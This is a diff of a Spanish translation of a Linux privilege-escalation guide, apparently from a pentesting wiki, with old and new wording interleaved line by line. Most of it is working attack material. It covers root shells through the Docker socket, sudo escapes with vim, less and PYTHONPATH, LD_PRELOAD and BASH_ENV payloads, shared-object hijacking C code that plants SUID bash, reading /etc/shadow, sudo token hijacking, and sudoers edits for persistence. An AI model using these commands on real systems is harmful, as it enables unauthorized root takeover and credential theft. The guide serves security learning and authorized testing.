de que los **sockets**/FIFOs de escucha sean **cerrados** y eliminados, respectivamente. -- `Service`: Especifica el nombre de la unidad de `service` **a activar** por **tráfico entrante**. Esta configuración solo está permitida para sockets con Accept=no. Por defecto es el servicio que tiene el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos, no debería ser necesario usar esta opción. +- `Service`: Especifica el nombre de la unidad de **service** **a activar** ante **tráfico entrante**. Esta opción solo está permitida para sockets con `Accept=no`. Por defecto apunta al service que tiene el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos no debería ser necesario usar esta opción. -### Archivos .socket escribibles +### Archivos `.socket` escribibles -Si encuentras un archivo `.socket` **escribible** puedes **añadir**, al principio de la sección `[Socket]`, algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que se cree el socket. Por ello, **probablemente necesites esperar hasta que la máquina sea reiniciada.**\ -_Nota: el sistema debe estar usando esa configuración del archivo de socket o el backdoor no se ejecutará_ +Si encuentras un archivo `.socket` **escribible** puedes **añadir** al inicio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que el socket sea creado. Por lo tanto, **probablemente tendrás que esperar hasta que la máquina se reinicie.**\ _Ten en cuenta que el sistema debe estar usando esa configuración del archivo socket o el backdoor no se ejecutará_ ### Sockets escribibles -Si **identificas cualquier socket escribible** (_ahora hablamos de Unix Sockets y no de los archivos de configuración `.socket`_), entonces **puedes comunicarte** con ese socket y quizá explotar una vulnerabilidad. +Si **identificas algún socket escribible** (ahora nos referimos a Unix Sockets y no a los archivos de configuración `.socket`), entonces **puedes comunicarte** con ese socket y quizá usar un exploit contra una vulnerabilidad. ### Enumerar Unix Sockets ```bash netstat -a -p --unix ``` -### Conexión raw +### Conexión sin procesar ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -508,26 +539,26 @@ socket-command-injection.md ### HTTP sockets -Ten en cuenta que puede haber algunos **sockets escuchando solicitudes HTTP** (_no me refiero a los archivos .socket sino a los archivos que actúan como unix sockets_). Puedes comprobar esto con: +Ten en cuenta que puede haber algunos **sockets listening for HTTP** requests (_no me refiero a archivos .socket sino a los archivos que actúan como unix sockets_). Puedes comprobar esto con: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Si el socket **responde a una petición HTTP**, entonces puedes **comunicarte** con él y quizá **exploit some vulnerability**. +Si el socket **responde a una petición HTTP**, entonces puedes **comunicarte** con él y quizás **exploit some vulnerability**. -### Docker socket con permiso de escritura +### Docker Socket escribible -El Docker socket, frecuentemente ubicado en `/var/run/docker.sock`, es un archivo crítico que debe estar protegido. Por defecto, es escribible por el usuario `root` y los miembros del grupo `docker`. Poseer acceso de escritura a este socket puede conducir a una escalada de privilegios. Aquí hay un desglose de cómo puede hacerse esto y métodos alternativos si el Docker CLI no está disponible. +El socket de Docker, a menudo ubicado en `/var/run/docker.sock`, es un archivo crítico que debe estar asegurado. Por defecto, es escribible por el usuario `root` y los miembros del grupo `docker`. Poseer acceso de escritura a este socket puede conducir a privilege escalation. A continuación se muestra un desglose de cómo se puede hacer esto y métodos alternativos si el Docker CLI no está disponible. #### **Privilege Escalation with Docker CLI** -Si tienes acceso de escritura al Docker socket, puedes escalate privileges usando los siguientes comandos: +Si tienes acceso de escritura al socket de Docker, puedes escalate privileges usando los siguientes comandos: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Estos comandos permiten ejecutar un contenedor con acceso a nivel root al sistema de archivos del host. +Estos comandos te permiten ejecutar un contenedor con acceso a nivel root al sistema de archivos del host. -#### **Uso directo de la Docker API** +#### **Usando Docker API directamente** En casos donde el Docker CLI no está disponible, el Docker socket aún puede manipularse usando la Docker API y comandos `curl`. @@ -549,7 +580,7 @@ Inicia el contenedor recién creado: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Usa `socat` para establecer una conexión con el container, permitiendo la ejecución de comandos dentro de él. +3. **Attach to the Container:** Usa `socat` para establecer una conexión con el contenedor, permitiendo la ejecución de comandos dentro de éste. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -559,13 +590,13 @@ Connection: Upgrade Upgrade: tcp ``` -Después de establecer la conexión con `socat`, puedes ejecutar comandos directamente en el contenedor con acceso root al sistema de archivos del host. +Tras establecer la conexión con `socat`, puedes ejecutar comandos directamente en el contenedor con acceso a nivel root al sistema de archivos del host. -### Otros +### Others -Ten en cuenta que si tienes permisos de escritura sobre el Docker socket porque estás **dentro del grupo `docker`** tienes [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Si la [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Ten en cuenta que si tienes permisos de escritura sobre el docker socket porque estás **dentro del grupo `docker`** tienes [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Consulta **more ways to break out from docker or abuse it to escalate privileges** en: +Check **more ways to break out from docker or abuse it to escalate privileges** in: {{#ref}} @@ -574,7 +605,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Si descubres que puedes usar el comando **`ctr`** lee la siguiente página ya que **you may be able to abuse it to escalate privileges**: +Si descubres que puedes usar el comando **`ctr`**, lee la siguiente página ya que **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -583,7 +614,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Si descubres que puedes usar el comando **`runc`** lee la siguiente página ya que **you may be able to abuse it to escalate privileges**: +Si descubres que puedes usar el comando **`runc`**, lee la siguiente página ya que **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -592,15 +623,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus es un sofisticado sistema de Comunicación entre procesos (IPC) que permite a las aplicaciones interactuar y compartir datos de forma eficiente. Diseñado pensando en el sistema Linux moderno, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones. +D-Bus es un sofisticado sistema de **comunicación entre procesos (IPC)** que permite a las aplicaciones interactuar y compartir datos eficientemente. Diseñado pensando en el sistema Linux moderno, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones. -El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscente de los **enhanced UNIX domain sockets**. Además, ayuda en la difusión de eventos o señales, fomentando una integración fluida entre componentes del sistema. Por ejemplo, una señal de un daemon de Bluetooth sobre una llamada entrante puede indicar a un reproductor de música que silencie el audio, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando solicitudes de servicio e invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos. +El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, de forma similar a **sockets de dominio UNIX mejorados**. Además, ayuda en la emisión de eventos o señales, fomentando una integración fluida entre componentes del sistema. Por ejemplo, una señal de un daemon de Bluetooth sobre una llamada entrante puede indicar a un reproductor de música que silencie el audio, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando solicitudes de servicio e invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos. -D-Bus opera mediante un **allow/deny model**, gestionando permisos de mensajes (llamadas a métodos, emisión de señales, etc.) basándose en el efecto acumulado de las reglas de política que coinciden. Estas políticas especifican las interacciones con el bus, pudiendo permitir escaladas de privilegios mediante la explotación de estos permisos. +D-Bus opera con un **allow/deny model**, gestionando permisos de mensajes (llamadas de método, emisiones de señales, etc.) basándose en el efecto acumulado de las reglas de política que coinciden. Estas políticas especifican interacciones con el bus, y potencialmente permiten privilege escalation mediante la explotación de estos permisos. Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando permisos para el usuario root para poseer, enviar y recibir mensajes de `fi.w1.wpa_supplicant1`. -Las políticas sin un usuario o grupo especificado se aplican de forma universal, mientras que las políticas en el contexto "default" se aplican a todos los que no estén cubiertos por otras políticas específicas. +Las políticas sin un usuario o grupo especificado se aplican universalmente, mientras que las políticas de contexto "default" se aplican a todos los que no estén cubiertos por otras políticas específicas. ```xml @@ -609,7 +640,7 @@ Las políticas sin un usuario o grupo especificado se aplican de forma universal ``` -**Aprende a enumerar y explotar una comunicación D-Bus aquí:** +**Aprende cómo enumerate y exploit una comunicación D-Bus aquí:** {{#ref}} @@ -618,7 +649,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Network** -Siempre es interesante enumerar la network y determinar la posición de la máquina. +Siempre es interesante enumerate la network y determinar la posición de la máquina. ### Generic enumeration ```bash @@ -645,14 +676,14 @@ lsof -i ``` ### Puertos abiertos -Siempre verifica los servicios de red que se estén ejecutando en la máquina con los que no pudiste interactuar antes de acceder a ella: +Siempre revisa los servicios de red que se estén ejecutando en la máquina con los que no pudiste interactuar antes de acceder a ella: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Comprueba si puedes sniff traffic. Si puedes, podrías obtener algunas credenciales. +Comprueba si puedes sniff traffic. Si puedes, podrías ser capaz de capturar algunas credentials. ``` timeout 1 tcpdump ``` @@ -660,7 +691,7 @@ timeout 1 tcpdump ### Enumeración genérica -Comprueba **quién** eres, qué **privilegios** tienes, qué **usuarios** hay en los sistemas, cuáles pueden **login** y cuáles tienen **root privileges:** +Comprueba **quién** eres, qué **privilegios** tienes, qué **usuarios** hay en los sistemas, cuáles pueden **login** y cuáles tienen **privilegios de root**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -682,14 +713,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### UID grande -Algunas versiones de Linux se vieron afectadas por una vulnerabilidad que permite a usuarios con **UID > INT_MAX** elevar privilegios. Más info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Algunas versiones de Linux se vieron afectadas por una falla que permite a usuarios con **UID > INT_MAX** to escalate privileges. Más info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** ### Grupos -Comprueba si eres **miembro de algún grupo** que podría otorgarte privilegios de root: +Comprueba si eres **miembro de algún grupo** que podría otorgarte root privileges: {{#ref}} @@ -719,18 +750,18 @@ Si **conoces alguna contraseña** del entorno **intenta iniciar sesión como cad ### Su Brute -Si no te importa generar mucho ruido y los binarios `su` y `timeout` están presentes en el equipo, puedes intentar forzar por fuerza bruta a usuarios usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con el parámetro `-a` también intenta forzar por fuerza bruta a usuarios. +Si no te importa generar mucho ruido y los binarios `su` y `timeout` están presentes en el equipo, puedes intentar brute-force a usuarios usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con el parámetro `-a` también intenta brute-force a usuarios. -## Abusos de $PATH escribible +## Abusos en $PATH escribible ### $PATH -Si descubres que puedes **escribir dentro de alguna carpeta del $PATH** podrías ser capaz de escalar privilegios al **crear un backdoor dentro de la carpeta escribible** con el nombre de algún comando que va a ser ejecutado por un usuario distinto (idealmente root) y que **no se cargue desde una carpeta que esté situada antes** de tu carpeta escribible en el $PATH. +Si descubres que puedes **escribir en alguna carpeta del $PATH** podrías ser capaz de escalar privilegios **creando una backdoor dentro de la carpeta escribible** con el nombre de algún comando que va a ser ejecutado por un usuario diferente (idealmente root) y que **no se cargue desde una carpeta situada antes** de tu carpeta escribible en el $PATH. ### SUDO and SUID -Podrías tener permiso para ejecutar algún comando usando sudo o podrían tener el bit suid. Compruébalo usando: +Podrías poder ejecutar comandos con sudo o que tengan el bit suid. Compruébalo usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -746,37 +777,37 @@ less>! ``` ### NOPASSWD -La configuración de Sudo podría permitir a un usuario ejecutar algún comando con los privilegios de otro usuario sin conocer la contraseña. +La configuración de sudo puede permitir a un usuario ejecutar algún comando con los privilegios de otro usuario sin conocer la contraseña. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -En este ejemplo el usuario `demo` puede ejecutar `vim` como `root`; ahora es trivial obtener un shell añadiendo una ssh key en el directorio root o llamando a `sh`. +En este ejemplo el usuario `demo` puede ejecutar `vim` como `root`; ahora es trivial obtener una shell añadiendo una ssh key en el directorio `root` o llamando a `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Esta directiva permite al usuario **establecer una variable de entorno** al ejecutar algo: +Esta directiva permite al usuario **set an environment variable** al ejecutar algo: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Este ejemplo, **based on HTB machine Admirer**, era **vulnerable** a **PYTHONPATH hijacking** para cargar una biblioteca de python arbitraria mientras se ejecutaba el script como root: +Este ejemplo, **basado en la máquina HTB Admirer**, era **vulnerable** a **PYTHONPATH hijacking** para cargar una librería python arbitraria mientras se ejecutaba el script como root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV preservado mediante sudo env_keep → root shell +### BASH_ENV preservado vía sudo env_keep → root shell -Si sudoers preserva `BASH_ENV` (por ejemplo, `Defaults env_keep+="ENV BASH_ENV"`), puedes aprovechar el comportamiento de inicio no interactivo de Bash para ejecutar código arbitrario como root al invocar un comando permitido. +Si sudoers preserva `BASH_ENV` (p. ej., `Defaults env_keep+="ENV BASH_ENV"`), puedes aprovechar el comportamiento de inicio no interactivo de Bash para ejecutar código arbitrario como root al invocar un comando permitido. -- Why it works: Para shells no interactivos, Bash evalúa `$BASH_ENV` y hace source de ese archivo antes de ejecutar el script objetivo. Muchas reglas de sudo permiten ejecutar un script o un shell wrapper. Si `BASH_ENV` es preservado por sudo, tu archivo se carga con privilegios de root. +- Why it works: Para shells no interactivos, Bash evalúa `$BASH_ENV` y carga ese archivo antes de ejecutar el script objetivo. Muchas reglas de sudo permiten ejecutar un script o un wrapper de shell. Si `BASH_ENV` es preservado por sudo, tu archivo se carga (sourced) con privilegios de root. -- Requisitos: -- Una regla de sudo que puedas ejecutar (cualquier target que invoque `/bin/bash` de forma no interactiva, o cualquier bash script). -- `BASH_ENV` presente en `env_keep` (verifícalo con `sudo -l`). +- Requirements: +- A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script). +- `BASH_ENV` present in `env_keep` (check with `sudo -l`). - PoC: ```bash @@ -788,14 +819,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- Endurecimiento: -- Eliminar `BASH_ENV` (y `ENV`) de `env_keep`, preferir `env_reset`. +- Hardening: +- Eliminar `BASH_ENV` (y `ENV`) de `env_keep`; usar `env_reset`. - Evitar wrappers de shell para comandos permitidos por sudo; usar binarios mínimos. -- Considerar sudo I/O logging y alertas cuando se usen env vars preservadas. +- Considerar I/O logging y alerting de sudo cuando se usen env vars preservadas. -### Rutas que permiten eludir la ejecución con sudo +### Rutas que permiten eludir la ejecución de sudo -**Saltar** para leer otros archivos o usa **symlinks**. Por ejemplo, en sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Saltar** para leer otros archivos o usar **symlinks**. Por ejemplo en el archivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -805,46 +836,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Si se utiliza un **wildcard** (\*), es aún más fácil: +Si se usa un **wildcard** (\*), es aún más fácil: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contramedidas**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary sin especificar la ruta del comando +### Sudo command/SUID binary sin la ruta del comando -Si se otorga el **permiso de sudo** a un único comando **sin especificar la ruta**: _hacker10 ALL= (root) less_ puedes explotarlo cambiando la variable PATH +Si se da el **permiso sudo** a un único comando **sin especificar la ruta**: _hacker10 ALL= (root) less_ puedes explotarlo cambiando la variable PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Esta técnica también puede usarse si un binario **suid** **ejecuta otro comando sin especificar la ruta hacia él (siempre comprueba con** _**strings**_ **el contenido de un binario SUID extraño)**). +Esta técnica también se puede usar si un binario **suid** **ejecuta otro comando sin especificar la ruta hacia él (siempre comprueba con** _**strings**_ **el contenido de un binario SUID extraño)**). [Payload examples to execute.](payloads-to-execute.md) -### Binario SUID con ruta del comando +### Binario SUID con ruta al comando -Si el binario **suid** **ejecuta otro comando especificando la ruta**, entonces puedes intentar **exportar una función** con el nombre del comando que el archivo suid está invocando. +Si el binario **suid** **ejecuta otro comando especificando la ruta**, entonces, puedes intentar **exportar una función** con el nombre del comando que el archivo suid está llamando. -Por ejemplo, si un binario suid llama a _**/usr/sbin/service apache2 start**_, debes intentar crear la función y exportarla: +For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Luego, cuando llames al binario suid, esta función se ejecutará +Then, when you call the suid binary, this function will be executed ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variable de entorno **LD_PRELOAD** se utiliza para especificar una o más librerías compartidas (.so) que el loader cargará antes que todas las demás, incluida la librería estándar de C (`libc.so`). Este proceso se conoce como precarga de una librería. +La variable de entorno **LD_PRELOAD** se usa para especificar una o más bibliotecas compartidas (.so files) que serán cargadas por el loader antes que las demás, incluida la biblioteca estándar de C (`libc.so`). Este proceso se conoce como precargar una biblioteca. -Sin embargo, para mantener la seguridad del sistema y evitar que esta característica sea explotada, en particular con ejecutables suid/sgid, el sistema aplica ciertas condiciones: +Sin embargo, para mantener la seguridad del sistema y evitar que esta funcionalidad sea explotada, especialmente con ejecutables **suid/sgid**, el sistema aplica ciertas condiciones: -- El loader ignora **LD_PRELOAD** para ejecutables donde el ID de usuario real (_ruid_) no coincide con el ID de usuario efectivo (_euid_). -- Para ejecutables con suid/sgid, solo se precargan librerías en rutas estándar que también sean suid/sgid. +- El loader ignora **LD_PRELOAD** para ejecutables donde el ID de usuario real ( _ruid_ ) no coincide con el ID de usuario efectivo ( _euid_ ). +- Para ejecutables con suid/sgid, solo se precargan bibliotecas en rutas estándar que también sean suid/sgid. -Puede producirse una escalada de privilegios si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la instrucción **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando los comandos se ejecutan con `sudo`, lo que podría conducir a la ejecución de código arbitrario con privilegios elevados. +Puede ocurrir una escalada de privilegios si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la declaración **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando los comandos se ejecutan con `sudo`, lo que potencialmente puede llevar a la ejecución de código arbitrario con privilegios elevados. ``` Defaults env_keep += LD_PRELOAD ``` @@ -866,12 +897,12 @@ Luego, **compílalo** usando: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Finalmente, **escalate privileges** ejecutando +Finalmente, **elevar privilegios** ejecutando ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Un privesc similar puede ser explotado si el atacante controla la env variable **LD_LIBRARY_PATH** porque controla la ruta donde se van a buscar las librerías. +> Un privesc similar puede ser abusado si el atacante controla la variable de entorno **LD_LIBRARY_PATH** porque controla la ruta donde se van a buscar las bibliotecas. ```c #include #include @@ -893,13 +924,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Cuando encuentres un binario con permisos **SUID** que parezca inusual, es buena práctica verificar si está cargando correctamente archivos **.so**. Esto se puede comprobar ejecutando el siguiente comando: +Cuando te encuentres con un binario con permisos **SUID** que parezca inusual, es buena práctica verificar si está cargando correctamente archivos **.so**. Esto se puede comprobar ejecutando el siguiente comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Por ejemplo, encontrar un error como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugiere una posibilidad de explotación. +Por ejemplo, encontrar un error como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugiere una posible oportunidad de explotación. -Para explotar esto, se procedería creando un archivo C, por ejemplo _"/path/to/.config/libcalc.c"_, que contenga el siguiente código: +Para explotarlo, se procedería creando un archivo C, por ejemplo _"/path/to/.config/libcalc.c"_, que contenga el siguiente código: ```c #include #include @@ -912,11 +943,11 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); ``` Este código, una vez compilado y ejecutado, tiene como objetivo elevar privilegios manipulando los permisos de archivos y ejecutando una shell con privilegios elevados. -Compila el archivo C anterior en un archivo de objeto compartido (.so) con: +Compile el archivo C anterior en un archivo de objeto compartido (.so) con: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Finalmente, ejecutar el binario SUID afectado debería activar el exploit, permitiendo un posible compromiso del sistema. +Finalmente, ejecutar el SUID binary afectado debería desencadenar el exploit, permitiendo un posible compromiso del sistema. ## Shared Object Hijacking ```bash @@ -928,7 +959,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Ahora que hemos encontrado un binario SUID que carga una librería desde una carpeta en la que podemos escribir, creemos la librería en esa carpeta con el nombre necesario: +Ahora que hemos encontrado un SUID binary que carga una library desde una carpeta donde podemos escribir, creemos la library en esa carpeta con el nombre necesario: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -949,9 +980,9 @@ eso significa que la biblioteca que has generado necesita tener una función lla ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios de Unix que pueden ser explotados por un atacante para eludir restricciones locales de seguridad. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos en los que solo puedes **inyectar argumentos** en un comando. +[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios Unix que un atacante puede explotar para eludir restricciones de seguridad locales. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos donde solo puedes **inyectar argumentos** en un comando. -El proyecto recopila funciones legítimas de binarios de Unix que pueden ser abusadas para escapar de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, iniciar bind y reverse shells, y facilitar otras tareas de post-explotación. +El proyecto recopila funciones legítimas de binarios Unix que pueden ser abusadas para escapar de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, spawn bind and reverse shells, y facilitar otras tareas de post-explotación. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -972,22 +1003,22 @@ https://gtfoargs.github.io/ Si puedes ejecutar `sudo -l` puedes usar la herramienta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para comprobar si encuentra cómo explotar alguna regla de sudo. -### Reutilizando tokens de sudo +### Reutilizando Sudo Tokens -En casos donde tienes **acceso a sudo** pero no la contraseña, puedes escalar privilegios esperando a la ejecución de un comando sudo y luego secuestrando el token de sesión. +En casos donde tienes **sudo access** pero no la contraseña, puedes escalar privilegios al **esperar la ejecución de un comando sudo y luego secuestrar el token de sesión**. Requisitos para escalar privilegios: - Ya tienes una shell como el usuario "_sampleuser_" -- "_sampleuser_" ha **usado `sudo`** para ejecutar algo en los **últimos 15 minutos** (por defecto esa es la duración del token de sudo que nos permite usar `sudo` sin introducir contraseña) +- "_sampleuser_" ha **usado `sudo`** para ejecutar algo en los **últimos 15mins** (por defecto esa es la duración del token de sudo que nos permite usar `sudo` sin introducir ninguna contraseña) - `cat /proc/sys/kernel/yama/ptrace_scope` es 0 -- `gdb` está accesible (puedes subirlo) +- `gdb` es accesible (puedes subirlo) -(Puedes habilitar temporalmente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` y estableciendo `kernel.yama.ptrace_scope = 0`) +(Puedes habilitar temporalmente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o de forma permanente modificando `/etc/sysctl.d/10-ptrace.conf` y estableciendo `kernel.yama.ptrace_scope = 0`) Si se cumplen todos estos requisitos, **puedes escalar privilegios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- El **primer exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el token de sudo en tu sesión** (no obtendrás automáticamente una shell root, haz `sudo su`): +- El **primer exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el token de sudo en tu sesión** (no obtendrás automáticamente una shell root, ejecuta `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -998,22 +1029,22 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- El **tercer exploit** (`exploit_v3.sh`) **creará un archivo sudoers** que hace que los **sudo tokens sean eternos y permitan a todos los usuarios usar sudo** +- El **tercer exploit** (`exploit_v3.sh`) **creará un archivo sudoers** que **hace que los sudo tokens sean eternos y permite que todos los usuarios usen sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Si tienes **permisos de escritura** en el directorio o sobre cualquiera de los archivos creados dentro del directorio puedes usar el binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **crear un sudo token para un usuario y PID**.\ -Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese usuario con PID 1234, puedes **obtener privilegios sudo** sin necesidad de conocer la contraseña, haciendo: +Si tienes **permisos de escritura** en la carpeta o en cualquiera de los archivos creados dentro de la carpeta, puedes usar el binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **crear un sudo token para un usuario y PID**.\ +Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese usuario con PID 1234, puedes **obtener privilegios sudo** sin necesidad de conocer la contraseña ejecutando: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -El archivo `/etc/sudoers` y los archivos dentro de `/etc/sudoers.d` configuran quién puede usar `sudo` y cómo. Estos archivos **por defecto sólo pueden ser leídos por el usuario root y el grupo root**.\ -**Si** puedes **leer** este archivo podrías ser capaz de **obtener información interesante**, y si puedes **escribir** cualquier archivo podrás **escalar privilegios**. +El archivo `/etc/sudoers` y los archivos dentro de `/etc/sudoers.d` configuran quién puede usar `sudo` y cómo. Estos archivos **por defecto solo pueden ser leídos por el usuario root y el grupo root**.\ +**Si** puedes **leer** este archivo podrías **obtener información interesante**, y si puedes **escribir** cualquier archivo podrás **escalar privilegios**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1032,15 +1063,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Hay algunas alternativas al binario `sudo`, como `doas` en OpenBSD; recuerda revisar su configuración en `/etc/doas.conf`. +Existen algunas alternativas al binario `sudo`, como `doas` para OpenBSD; recuerda comprobar su configuración en `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Si sabes que un **usuario normalmente se conecta a una máquina y usa `sudo`** para escalar privilegios y obtuviste un shell en ese contexto de usuario, puedes **crear un nuevo ejecutable sudo** que ejecutará tu código como root y luego el comando del usuario. Luego, **modifica el $PATH** del contexto de usuario (por ejemplo añadiendo la nueva ruta en .bash_profile) para que cuando el usuario ejecute sudo, se ejecute tu ejecutable sudo. +Si sabes que un **usuario suele conectarse a una máquina y utiliza `sudo`** para escalar privilegios y has obtenido un shell dentro de ese contexto de usuario, puedes **crear un nuevo ejecutable sudo** que ejecutará tu código como root y luego el comando del usuario. Luego, **modifica el $PATH** del contexto del usuario (por ejemplo agregando la nueva ruta en .bash_profile) para que cuando el usuario ejecute sudo, se ejecute tu ejecutable sudo. -Ten en cuenta que si el usuario usa un shell distinto (no bash) necesitarás modificar otros archivos para añadir la nueva ruta. Por ejemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puedes encontrar otro ejemplo en 